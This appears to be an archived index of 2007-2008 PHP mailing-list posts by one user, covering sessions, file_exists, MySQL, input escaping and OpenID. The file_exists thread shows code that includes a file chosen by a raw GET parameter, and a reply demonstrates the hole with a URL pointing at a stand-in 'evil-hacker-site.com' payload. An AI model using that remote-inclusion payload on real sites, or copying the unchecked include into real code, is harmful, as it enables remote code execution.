[PHP] clear a mysql table

2008-10-25 Thread Ronald Wiplinger (Lists)
I need to clear a table (cache) from a database based on the database size. Our web site uses cached pages. Our webhost only allow us 100 MB storage. Usually the database is just 10 MB, but when a search engine crawls our calendar, then the storage is quickly 108 MB. The system reports then

[PHP] Unsubscribe issues

2008-08-22 Thread Ronald Wiplinger
The guy who wrote the guide lines for unsubscribing must be a lawyer or so. To make a page to find out where the unsubscribe link is in each kind of email type is paranoid. I mean the link is coming from the mail server, so just to say: [EMAIL PROTECTED] would be sufficient, wouldn't it? Maybe

[PHP] syntax error

2008-07-21 Thread Ronald Wiplinger
On a system with php4 and mysql 4.x I had these lines: require(../db-config); // includes $dbhost, $buname, $dbpass $db = mysql_connect($dbhost, $dbuname, $dbpass); mysql_select_db($dbname,$db); $sql = SELECT * FROM CATEGORY WHERE .; $result = mysql_query($sql,$db);

[PHP] phpmyadmin

2008-07-10 Thread Ronald Wiplinger
I would like to use this time phpmyadmin (2.11.3) to setup for a new user a database, which he can use to setup his own tables for his web site. User abc should get his own database xyz. I am not sure if I did it correct, and if it is safe to do so: A == 1. I created an empty database xyz (main

[PHP] Image modifications

2008-05-25 Thread Ronald Wiplinger
I would like to find some samples to start with. We want to upload a picture and the user may apply some filters or instructions to create a new picture, based on the uploaded picture and the available filters and instructions. The idea of it is not really mature, since we have no idea where to

[PHP] scanned in manipulate to a pdf

2008-05-25 Thread Ronald Wiplinger
I got a Windows program, which can scan in a book by scanning in the pages 1,3,5, n turn the book by 180 degrees and scan in from the back side n-1,n-3, ... 2. Then the program made a pdf book of the scanned in pages. I am not sure if a php program is the right way to do, but I thought to do

[PHP] Tool for programmer team

2008-01-21 Thread Ronald Wiplinger
What is a good tool to coordinate a team of programmers efficiently? To give each one a different part of the project is a start, but it needs to get combined at some points to be a working project. Not to debug code you have written was a hint, to see actually bugs as a bug and not as a

[PHP] BBcode

2007-12-16 Thread Ronald Wiplinger
I tested BBcode (Pear extension) with that code: if (!empty($_POST['bbcode'])) { require_once 'HTML/BBCodeParser.php'; $parser = new HTML_BBCodeParser(parse_ini_file('BBCodeParser.ini')); echo $parser-qParse($_POST['bbcode']); } ? form action=?php echo $_SERVER['PHP_SELF']; ?

Re: [PHP] BBcode - Solved

2007-12-16 Thread Ronald Wiplinger
I copied BBCodeParse.ini to the wrong place, Ronald Wiplinger wrote: I tested BBcode (Pear extension) with that code: if (!empty($_POST['bbcode'])) { require_once 'HTML/BBCodeParser.php'; $parser = new HTML_BBCodeParser(parse_ini_file('BBCodeParser.ini')); echo $parser

[PHP] checkbox unchecked

2007-12-02 Thread Ronald Wiplinger
I have now tried to add many of the security hints on a web page and come to a problem. I am checking if the allowed fields match the sent fields. From the database I get the information if a checkbox is checked or not: ?php if($DB_a ==y) { $checked=checked; } else { $checked=; }

Re: [PHP] checkbox unchecked

2007-12-02 Thread Ronald Wiplinger
Stephen wrote: Ronald Wiplinger wrote: How can I force a n for not checked in the input field? or how can I solve that? Either use radio buttons or a drop down for the input field. Thanks! Stephen -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http

Re: [PHP] Can I create flash via php?

2007-11-28 Thread Ronald Wiplinger
Jay Blanchard wrote: [snip] I want to create flash animations via a web page. Is it possible? What do I need. I do not want to use Windows [/snip] STFW http://www.google.com/search?hl=enq=create+flash+using+PHP Excellent link (and bet I tried that one before!!!), can you

[PHP] Can I create flash via php?

2007-11-27 Thread Ronald Wiplinger
I want to create flash animations via a web page. Is it possible? What do I need. I do not want to use Windows bye Ronald -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] How to ask if private IP?

2007-11-25 Thread Ronald Wiplinger
I use $aa=$_SERVER[REMOTE_ADDR]; and if(($aa==192.168.2.108) || ($aa==192.168.2.34)) { $aa=61.64.101.101;// for testing put in a public IP } However, I would like to cover all private IPs (192.168.x.x and 10.x.x.x and 172.??.x.x). How can I do that simple? bye Ronald

[PHP] session_destroy AND reload a page

2007-11-25 Thread Ronald Wiplinger
If my user wants to logout, I want that the session will be destroyed and that he must start with the first page again (index.php) and a new session. Whatever I try he always gets the old sessions or he does not come to the first page. How can I solve that? bye Ronald -- PHP General Mailing

[PHP] Should I put pictures into a database?

2007-11-20 Thread Ronald Wiplinger
I have an application, where I use pictures. The size of the picture is about 90kB and to speed up the preview, I made a thumbnail of each picture which is about 2.5 to 5kB. I use now a directory structure of ../$a/$b/$c/pictures I wonder if it would be good to put the thumbnails into the

Re: [PHP] bank query and curl --- not important, skip it

2007-11-19 Thread Ronald Wiplinger
Stut wrote: Admin: Please don't reply directly to me. If you want to say something that you don't want to share with the group, don't bother. I did start replying to this email, but decided it wasn't worth it. Anyone who uses language like this does not deserve a response, but it made me

[PHP] htmlentities()

2007-11-17 Thread Ronald Wiplinger
I tried to understand htmlentities by putting this code into a test.php: ?php if(!$page) { ? H3Test of evil input/H3 form method=post action=?php echo $PHP_SELF? INPUT type=text name=field1 size=100 maxlength=100 INPUT type=hidden name=page value=1 INPUT type=submit name=submit value=Check it!

Re: [PHP] bank query and curl

2007-11-17 Thread Ronald Wiplinger
sysadmin skillz! Seriously, I highly doubt Ronald is going to try anything against your systems. Just curious about something... what would you do if he did try something? Call your mother and have a little cry? -Original Message- From: Ronald Wiplinger [mailto:[EMAIL PROTECTED] Sent

[PHP] bank query and curl

2007-11-16 Thread Ronald Wiplinger
I have a bank account and would like to query the last transactions. I can do that now via web and think that I can convert this procedure to a list of curl requests and finally put the result into a database on my server. Fortunately this bank account does not allow transactions, just viewing

Re: [PHP] file_exists

2007-11-14 Thread Ronald Wiplinger
Chris wrote: Ronald Wiplinger wrote: I am having troubles with the function file_exists() I tried the full path like: if (file_exists('/srv/www/../images/pic412.jpg') { echo IMG SRC='images/pic412.jpg'; } else { echo nbsp; //picture is missing

Re: [PHP] file_exists

2007-11-14 Thread Ronald Wiplinger
Stut wrote: Philip Thompson wrote: I've run into similar problems where I *thought* I was looking in the correct location... but I wasn't. Take this for example ?php // index.php?page=hello/hi $page = $_GET['page']; if (file_exists ($page.php)) { include ($page.php); } ? I

Re: [PHP] file_exists - this part is of topic

2007-11-14 Thread Ronald Wiplinger
Instruct ICC wrote: Called like this? index.php?page=http://evil-hacker-site.com/evil-payload.php And the browser will probably url_encode for me if needed. _ Climb to the top of the charts! Play Star Shuffle: the word

[PHP] Simple reading a file and extract fields

2007-11-13 Thread Ronald Wiplinger
I got a larger file which consists of lines with a defined length of 56 characters. Each line ends with a line feed (0A), From each line I want one field from position 1 ~ 5 and field 2 from position 7 ~ 46. I tried: $myFile = plaiso; $fh = fopen($myFile, 'r'); $theDataLine =

[PHP] Input field

2007-11-13 Thread Ronald Wiplinger
I added just into a input field 19 enclosure which was displayed from the database as: 19\ enclosure That gives me some questions: 1. where the protecting slash comes from? 2. how can I get it away when I want to display that field? 3. The slash is not to see in phpmyadmin, why not? and: 1.

[PHP] file_exists

2007-11-13 Thread Ronald Wiplinger
I am having troubles with the function file_exists() I tried the full path like: if (file_exists('/srv/www/../images/pic412.jpg') { echo IMG SRC='images/pic412.jpg'; } else { echo nbsp; //picture is missing! } No matter if I use the full path or just

Re: [PHP] Need a hint how to track an error

2007-11-12 Thread Ronald Wiplinger
Chris wrote: Ronald Wiplinger wrote: My php program is working with Firefox, but not with Internet Explorer. Nothing to do with php, your problem is javascript. Is there a tool to find the problem? For IE, try http://www.microsoft.com/downloads/details.aspx?familyid=e59c3964-672d-4511

[PHP] My first xml try

2007-11-09 Thread Ronald Wiplinger
I must use php 4 and mysql 4.x ! I tried an example I found on the net and modified it so that it should work with php4 and mysql 4. The code is below. I need to access a database and get an xml feed output. I tried to use echo statements for debugging and found that it seems I do not get the

Re: [PHP] Re: Sessionvariable

2007-11-07 Thread Ronald Wiplinger
. bye Ronald regards Sebastian Ronald Wiplinger [EMAIL PROTECTED] schrieb im Newsbeitrag news:[EMAIL PROTECTED] I use at the first page a session variable to set a flag. After a few pages, or if somebody wait too long, the pages have another flag. I noticed that there are often more than

[PHP] Sessionvariable

2007-11-06 Thread Ronald Wiplinger
I use at the first page a session variable to set a flag. After a few pages, or if somebody wait too long, the pages have another flag. I noticed that there are often more than one session file exist. How can I avoid that? How can I make sure that for one user is only one session file? bye

[PHP] Chinese input character count

2007-11-05 Thread Ronald Wiplinger
I thought I did it correct to define in the header: meta http-equiv=Content-Type content=text/html; charset=utf-8 to display chinese characters correct. It works. However, if you type in a form directly, than each character will be translated to UTF-8 with a sequence of #; I could then

Re: [PHP] How to replace define in a require file with mysql?

2007-11-04 Thread Ronald Wiplinger
Jim Lucas wrote: Ronald Wiplinger wrote: I have a file linked with require into my program with statements like: define(_ADDRESS,Address); define(_CITY,City); I would like to replace this with a mysql table with these two fields (out of many other fields). How can I do that? bye

Re: [PHP] system command

2007-10-26 Thread Ronald Wiplinger
Instruct ICC wrote: Use double quotes to get the value of $a or else you get the literal string $a. $aa=system(lynx -dump http://api.hostip.info/country.php?ip=$a,$location); or $aa=system('lynx -dump http://api.hostip.info/country.php?ip='.$a,$location); Thanks! 1st solution did not

Re: [PHP] system command

2007-10-25 Thread Ronald Wiplinger
Instruct ICC wrote: Date: Thu, 25 Oct 2007 09:43:14 +0800 From: [EMAIL PROTECTED] To: php-general@lists.php.net Subject: [PHP] system command I tried: $a=$_SERVER[REMOTE_ADDR]; echo pREMOTE_ADDR=$abr; if($a=192.168.250.108) { $a=61.64.101.101; } $aa=system('lynx -dump

[PHP] system command

2007-10-24 Thread Ronald Wiplinger
I tried: $a=$_SERVER[REMOTE_ADDR]; echo pREMOTE_ADDR=$abr; if($a=192.168.250.108) { $a=61.64.101.101; } $aa=system('lynx -dump http://api.hostip.info/country.php?ip=$a',$location); echo pa=$abraa=$aabrlocation=$locationbr; $aa=system('lynx -dump

[PHP] Thoughts on multiple servers

2007-10-22 Thread Ronald Wiplinger
At current stage I have two servers installed, whereby the first one does all, but the second is a database server. I need to install on different location a server pair, which should work together, fail-fall-over, ... The idea is to have in the dns for the servers: abc.example.com

[PHP] Php generated html email

2007-10-22 Thread Ronald Wiplinger
How can I create a html email directly from a web page via Php? The page will include tables, background colors and pictures within the tables. The received email should be readable without Internet connection (pictures, must be sent with the email) bye Ronald -- PHP General Mailing List

[PHP] picture upload within a form

2007-10-19 Thread Ronald Wiplinger
I have a form, where I upload a picture and a corresponding text. Is it possible to have a form (upload picture) within a form (text)? As I have it now, the submit button just does nothing. bye Ronald -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit:

[PHP] How to display ALL session variables?

2007-10-18 Thread Ronald Wiplinger
Is there a simple way to display all session variables? Like the code below I use in debug for all posted variables: echo h3posted variables/h3; while (list($name, $value) = each($HTTP_POST_VARS)) { echo $name = $valuebr\n; } bye Ronald -- PHP General Mailing List (http://www.php.net/)

Re: [PHP] How to display ALL session variables?

2007-10-18 Thread Ronald Wiplinger
[EMAIL PROTECTED] wrote: 2007/10/18, Nathan Nobbe [EMAIL PROTECTED] mailto:[EMAIL PROTECTED]: On 10/18/07, Ronald Wiplinger [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] wrote: Is there a simple way to display all session variables? Like the code below I use in debug

Re: [PHP] How to display ALL session variables? - solved

2007-10-18 Thread Ronald Wiplinger
Ronald Wiplinger wrote: [EMAIL PROTECTED] wrote: 2007/10/18, Nathan Nobbe [EMAIL PROTECTED] mailto:[EMAIL PROTECTED]: On 10/18/07, Ronald Wiplinger [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] wrote: Is there a simple way to display all session variables? Like the code

Re: [PHP] How to display ALL session variables?

2007-10-18 Thread Ronald Wiplinger
Nathan Nobbe wrote: this is a nice little tool as well; it would be pretty decent for spitting out the session; http://dbug.ospinto.com/ new dBug($_SESSION); -nathan That is really cool! I like that one! bye Ronald -- PHP General Mailing List (http://www.php.net/) To unsubscribe,

[PHP] I am looking for a color picker working also in Firefox

2007-10-18 Thread Ronald Wiplinger
I found many nice color picker (True color), which are working fine in IE, but I need one, which works also in Firefox. Can you give me a recommendation, please? bye Ronald -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Re: I am looking for a color picker working also in Firefox

2007-10-18 Thread Ronald Wiplinger
Colin Guthrie wrote: Ronald Wiplinger wrote: I found many nice color picker (True color), which are working fine in IE, but I need one, which works also in Firefox. Can you give me a recommendation, please? http://www.iosart.com/firefox/colorzilla/ I couldn't get it to work on my

[PHP] Need a hint how to use an anker on the next page

2007-10-18 Thread Ronald Wiplinger
I have a long page (form), where the user has to return to the place he left last time, or where in that page a question has not been answered. Example: Tell me the German word for: Your answer: 1. dogHund 2. cat

[PHP] How to replace define in a require file with mysql?

2007-10-17 Thread Ronald Wiplinger
I have a file linked with require into my program with statements like: define(_ADDRESS,Address); define(_CITY,City); I would like to replace this with a mysql table with these two fields (out of many other fields). How can I do that? bye Ronald -- PHP General Mailing List

[PHP] How to replace define in a require file with mysql?

2007-10-17 Thread Ronald Wiplinger
I have a file linked with require into my program with statements like: define(_ADDRESS,Address); define(_CITY,City); I would like to replace this with a mysql table with these two fields (out of many other fields). How can I do that? bye Ronald -- PHP General Mailing List

Re: [PHP] Re: Opening a file

2007-09-06 Thread Ronald Wiplinger
On Wed, 2007-09-05 at 10:29 -0400, Dan Shirah wrote: Correction, I am now getting this error: PHP Warning: file(fruits.txt) [function.filehttp://develop1/credit%20card%20processing/function.file]: failed to open stream: No such file or directory PHP Warning: in_array()

Re: [PHP] Re: Which CAPTCHA is the besta?

2007-09-01 Thread Ronald Wiplinger
Hamza Saglam wrote: Not a script you can install/hack but why don't you have a look at: http://recaptcha.net/ ? I am going to try that one. It sounds good and gives me a feeling to do something good to the community as well. Which version have you tried? Java or PHP? How to set-up PHP?

[PHP] How to implement Open-ID on my web server?

2007-08-31 Thread Ronald Wiplinger
Hi, I am looking for a way to implement OpenID on my webserver. Can anybody point me on ONE place that describes ONE way, please! I found many links, but I am now confused what I really need ;-( I want that the customer can use his/her openid to login to signup/login to our web sites. Herby